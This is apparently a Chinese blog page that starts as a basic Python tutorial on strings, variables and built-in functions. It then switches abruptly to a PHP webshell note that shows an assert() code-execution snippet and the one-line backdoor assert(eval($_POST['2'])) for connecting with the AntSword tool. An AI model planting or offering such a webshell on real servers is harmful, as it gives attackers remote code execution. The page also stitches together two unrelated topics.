当前位置:网站首页>【无标题】
【无标题】
2022-07-26 21:55:00 【Lord Chaser】
1、基本数学操作符
2、最基本的数据类型
Python中最基本的数据类型有整形、浮点型和字符串型。
3、字符串型常用的操作
(1)字符串连接。
Python中字符串连接可以直接使用“+”操作符。如:要把字符串”abc”和字符串”def”连接在一起,可以使用”abc”+”def”。注意:“+”操作符的两侧都需要是字符串类型的数据,不能有一侧是其他类型。如:”abc”+12这种表达是错误的。
(2)字符串复制。
Python中字符串复制使用操作符“*”。如:要把字符串”abc”重复5次,可以写成”abc”*5。注意:采用“*”进行字符串复制的时候,只能是一个字符串和一个整形数字,如果是两个字符串或者一个字符串和一个浮点型数字,则编译出错。如:”abc”*”def”,这种表达方式错误;”abc”*2.0这种表达方式也错误。
4、变量名命名规则。
Python中变量名只能包含字母、数字和下划线,并且数字不能是开头。
5、Python中基本的函数
(1)print():把内容输出在控制台上。如:print(‘abc’)表示把字符串”abc”输出到控制台上。
(2)input():暂停程序执行,等待用户输入。如;a = input(),程序运行到这里之后暂停,等用户从控制台输入数据,输入的数据保存在变量a中,然后继续执行后面的程序。
(3)len():求字符串的长度。如len(“abc”)表示求字符串“abc”的长度
(4)int():把内容转换成整形。如:int(‘12’)表示把字符串’12’转换成整形数字12.
(5)float():把内容转换成浮点型。如:float(‘1.2’)表示把字符串’1.2’转换成浮点型数据1.2.
(6)str():把数据转换成字符串。如:str(12)表示把整形数据12转换成字符串’12’.
assert利用蚁剑登录
assert()格式
<?php
$str = $_GET['input'];
assert($str);
?>
eval()与assert()的区别
eval() 函数中参数时字符串
值必须加上 ;结尾
例:eval( 'phpinfo() ;' ) ;
assert() 函数中参数为表达式(或者为函数)
把传入的参数直接当成PHP代码执行,不需要以 ; 结尾,当然加上也可以。
所以我们可以构造木马:
assert(eval($_POST['2']));
再用蚁剑测试连接
边栏推荐
- 基于信心上界蒙特卡洛搜索树(UCT)实现四子棋
- leetcode:857. 雇佣 K 名工人的最低成本【分块思考 + 由简单入手】
- Redis 分布式锁 + Lua原子操作
- 蔚来杯2022牛客暑期多校训练营1
- 基于C语言的页式文件系统
- 基于C语言设计的增量型安全文件系统 SFS
- 09.01 depth first search
- Spend 120 billion to build a "subway" to connect 4 trillion cities. What is Guangdong thinking?
- what is a kit in qt
- [IO Development Notes] smart cloud intelligent watering device practice (3) - automatic code generation and transplantation
猜你喜欢

Spend 120 billion to build a "subway" to connect 4 trillion cities. What is Guangdong thinking?

Embedded sig | distributed soft bus

Cached database for memcached

Xiaobai learns MySQL - derived table

The potential of emerging markets is unlimited, and advance.ai risk control products help Chinese offshore enterprises build a solid foundation for safe development

缓存数据库Memcached

浮动引起的高度塌陷问题

STM32-如何使用串口

Luo Yonghao bet on the last entrepreneurial credit

Makefile相关语法总结(Openc910)
随机推荐
Systemctl command
Financial institution map
Height collapse caused by floating
[paper reading] logan:membership influence attacks against generative models
what is qrc in qt
Makefile related syntax summary (openc910)
systemctl命令
Overview of banking industry
Interview Essentials
[horizon sunrise X3 sect trial experience] + unpacking post
A chip company fell in round B
Detailed explanation of SQL secondary injection
麒麟990系列为何无缘Cortex-A77和Mali G77?
what crlf mean
Which is better, caiqian school or qiniu school? Is it safe
『MongoDB』你想要的MongoDB基本操作这里都有
: could not determine a constructor for the tag ! RootAdmin
Embedded sig | distributed soft bus
基于gRPC编写golang简单C2远控
09.01 depth first search